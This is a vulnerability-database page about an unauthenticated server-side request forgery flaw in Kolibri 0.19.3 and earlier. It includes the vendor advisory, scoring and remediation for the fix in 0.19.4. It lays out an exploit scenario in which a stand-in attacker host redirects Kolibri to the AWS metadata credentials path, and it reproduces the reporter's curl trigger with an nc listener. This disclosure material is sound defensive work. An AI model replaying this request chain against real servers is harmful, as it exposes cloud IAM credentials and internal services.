Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend unauthenticated GET to /api/auth/remotefacilityuser with attacker-controlled baseurl
-
DeliveryKolibri server probes attacker host with /api/public/info/
-
ExploitAttacker host returns valid Kolibri info response
-
ExecutionKolibri fetches /api/public/facilitysearchuser/
-
PersistAttacker returns 302 redirect to internal target (e.g., IMDSv1 or internal JSON API)
-
ImpactKolibri follows redirect and returns response body to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Primary GET vector (GET /api/auth/remotefacilityuser): No special conditions - remote unauthenticated exploitation against default configurations of Kolibri. Any party with network connectivity to the Kolibri HTTP port can exploit this endpoint without credentials. The attacker must control an HTTP server reachable from the Kolibri server that can respond to /api/public/info/ with a valid Kolibri-shaped probe response; this is a low bar. POST vector (POST /api/auth/remotefacilityauthenticateduserinfo): Requires the caller to authenticate, but authentication is validated against the attacker-controlled remote server rather than the local Kolibri instance - effectively no meaningful local auth barrier. Setup wizard vector (POST /api/public/setupwizard/loddata): Requires the Kolibri device to be in an unprovisioned state (first-run setup wizard not yet completed). NetworkLocationFacilitiesView vector: Requires a valid local Kolibri authenticated session. Cloud metadata exfiltration via IMDSv1 is limited to AWS EC2 and DigitalOcean deployments where IMDSv2 is not enforced; GCP, Azure, and AWS IMDSv2 endpoints are not reachable because the attacker cannot inject the required Metadata-Flavor or session token headers through this vector. |
| Impact | The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N scores 5.8 (Medium), reflecting unauthenticated network access with a scope change but only low confidentiality impact. The scope change (S:C) captures that the Kolibri server reaches systems the attacker cannot directly contact. The C:L rating represents a conservative baseline; in cloud deployments running on AWS EC2 without IMDSv2 enforcement, the SSRF can reach the link-local IMDSv1 endpoint (169.254.169.254) and return IAM role credentials - an outcome closer to C:H in practical impact. GCP, Azure, and AWS IMDSv2 are confirmed not reachable via this vector due to required request headers that the attacker cannot inject, which partially mitigates the cloud-metadata risk. No EPSS score was provided in the source data. No CISA KEV listing exists at time of analysis, and the working PoC was retained internally rather than published, indicating no widespread opportunistic exploitation has been observed. Despite the moderate CVSS score, the combination of zero-authentication exploitation on the primary vector, direct response reflection (not blind SSRF), and confirmed reachability of AWS IMDSv1 elevates real-world priority for any Kolibri deployment on cloud infrastructure or with internal services on the same network segment. |
| Exploit ScenarioDerived | An unauthenticated attacker reachable over the network sends a GET request to /api/auth/remotefacilityuser?baseurl=http://attacker.example.com&username=x&facility=<any> where attacker.example.com responds to /api/public/info/ with a valid Kolibri info JSON blob, then responds to /api/public/facilitysearchuser/ with an HTTP 302 redirect pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/; the Kolibri server follows the redirect, retrieves the IAM credential JSON, and returns it verbatim in the HTTP response body to the attacker. A working PoC demonstrating this chain was confirmed by the reporter against Kolibri 0.19.3 and retained internally; the PoC is not publicly available. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 11, 2026
Server-side request forgery in Kolibri (pip/kolibri <= 0.19.3) allows network-reachable attackers to force the Kolibri server to issue outbound HTTP requests to arbitrary internal hosts, cloud metadata endpoints, and internal services, with JSON response bodies reflected directly to the caller. The primary GET endpoint at /api/auth/remotefacilityuser required no authentication whatsoever, making this exploitable by any party with network access to the Kolibri server. A working proof-of-concept was retained internally by the reporting researcher but was not published; no public exploit code exists and CISA KEV listing has not been identified at time of analysis.
RemediationAI
Vendor-released patch: kolibri 0.19.4. Operators should upgrade immediately via pip install --upgrade kolibri or the equivalent package manager command. The fix applies four layered controls: response sanitization (remote payloads are now coerced to a documented schema before being returned, dropping smuggled fields), mandatory authentication on the formerly open RemoteFacilityUser* endpoints, cross-host redirect blocking (30x responses that change hostname are now refused), and a peer allowlist restricting caller-supplied baseurl values to already-known peers. If immediate upgrade is not feasible, the most impactful compensating control is to restrict network access to the Kolibri HTTP port (default 8080) to trusted clients only using host-based firewall rules or a reverse proxy with IP allowlisting - this does not eliminate the SSRF but prevents unauthenticated external parties from triggering it. On cloud instances, enforcing IMDSv2 at the instance metadata service level (requiring a session token header) will block the highest-severity metadata exfiltration path independently of the Kolibri patch. Advisory: https://github.com/learningequality/kolibri/security/advisories/GHSA-4mj9-pf4r-cqrc.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Kolibri is a Django-based offline educational platform (CPE: pkg:pip/kolibri) built with Django REST Framework. The vulnerability (CWE-918: Server-Side Request Forgery) stems from two compounding design flaws in kolibri/core/auth/api.py and related viewsets: first, the RemoteFacilityUserViewset defined no permission_classes, defaulting DRF to AllowAny; second, the baseurl parameter was validated only by Django's URLValidator with schemes=['http','https'], which checks URL format but imposes no restrictions on RFC 1918 ranges, loopback, or link-local addresses (169.254.0.0/16). The NetworkClient.build_for_address() utility accepted any URL that returned a valid Kolibri-shaped /api/public/info/ probe response, and the underlying requests library followed HTTP 30x redirects by default - enabling a pivot from the attacker-controlled peer to any HTTP host reachable from the Kolibri server. Four endpoints shared this pattern: GET /api/auth/remotefacilityuser (unauthenticated), POST /api/auth/remotefacilityauthenticateduserinfo (auth checked against remote, not local, Kolibri), POST /api/public/setupwizard/loddata (reachable on unprovisioned devices), and GET /api/public/networklocation/<id>/facilities/ (locally authenticated). The reflection pattern - Response(response.json()) - returned the full remote JSON body verbatim, including smuggled fields.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
GET endpoint requires no authentication (PR:N); attacker reaches systems beyond Kolibri itself (S:C); confidentiality scored Low as general-case JSON reflection, though IMDSv1 deployments face higher practical impact.
Primary rating from Vendor (https://github.com/learningequality/kolibri).
CVSS VectorVendor: https://github.com/learningequality/kolibri
DescriptionCVE.org
Summary
Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.
Affected endpoints
Reported:
GET /api/auth/remotefacilityuser→RemoteFacilityUserViewset(kolibri/core/auth/api.py:1570). No authentication required.POST /api/auth/remotefacilityauthenticateduserinfo→RemoteFacilityUserAuthenticatedViewset(kolibri/core/auth/api.py:1594). Authentication is checked against the *remote* server rather than the local Kolibri.
Found during remediation:
POST /api/public/setupwizard/loddata→ setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.GET /api/public/networklocation/<id>/facilities/→NetworkLocationFacilitiesView(kolibri/core/discovery/api.py). Authenticated but with the sameResponse(remote_payload)pattern.
Root cause
Two compounding issues:
- Response reflection - these endpoints returned the remote server's JSON body more or less verbatim to the caller (
Response(response.json()),Response(facility_info["users"]), etc.). - No restriction on the remote target -
baseurlwas validated only byURLValidator(schemes=["http", "https"]).NetworkClient.build_for_address()would connect to any host with a valid Kolibri-shaped/api/public/info/response, andrequestsfollowed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.
Two reflection vectors
GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.
POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.
Reproduction
The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:
- Responds to
GET /api/public/info/with a valid Kolibri info payload (soNetworkClient.build_for_address()succeeds). - GET vector: responds to
GET /api/public/facilitysearchuser/with a 302 redirect to the target URL. The redirected response body is reflected viaResponse(response.json()). - POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.
A working PoC has been retained internally and is not published with this advisory.
Demonstrated impact (pre-fix)
- Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
- Reflected data exfiltration for any HTTP endpoint that responded to a plain
GETwith JSON and no special request headers. - Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 - reachable
- DigitalOcean (
/metadata/v1.json) - reachable - GCP, Azure, AWS IMDSv2 - *not* reachable via this vector (require
Metadata-Flavor/Metadata/ token headers that the attacker could not inject) - Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.
Not demonstrated
The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.
Mitigation
Four layers of defence:
- Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
- Authentication. The previously-open
RemoteFacilityUser*endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows). - Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
- Peer allowlist. Endpoints that accept a caller-supplied
baseurlresolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.
Credit
Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.
<details><summary>Original report by @beraoudabdelkhalek</summary>
Summary
The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.
Details
This is mainly due to the following issues:
1. Missing authentication on the API endpoint
File: kolibri/core/auth/api.py, line ~1553
class RemoteFacilityUserViewset(views.APIView):
# No permission_classes → AllowAny
def get(self, request):
baseurl = request.query_params.get("baseurl", "")
validator(baseurl)
# Only checks URL format (http/https scheme + valid hostname)
client = NetworkClient.build_for_address(baseurl)
response = client.get(url, params={"facility": facility, "search": username})No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.
Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.
2. Weak URL validation
File: kolibri/utils/urls.py, line 1-7
from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:
- RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Loopback addresses (127.0.0.0/8, ::1)
- Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
- IPv6 equivalents of any of the above
PoC
Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.
Against a local Docker deployment (validated against Kolibri 0.19.3):
# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"The Kolibri server makes an outbound HTTP request to the attacker's listener:
GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-aliveTesters have also confirmed the issue against live deployments of Kolibri.
Impact
Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check
</details>
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-60319
GHSA-4mj9-pf4r-cqrc
NVD
CVE.org
EPSS
Exploit-DB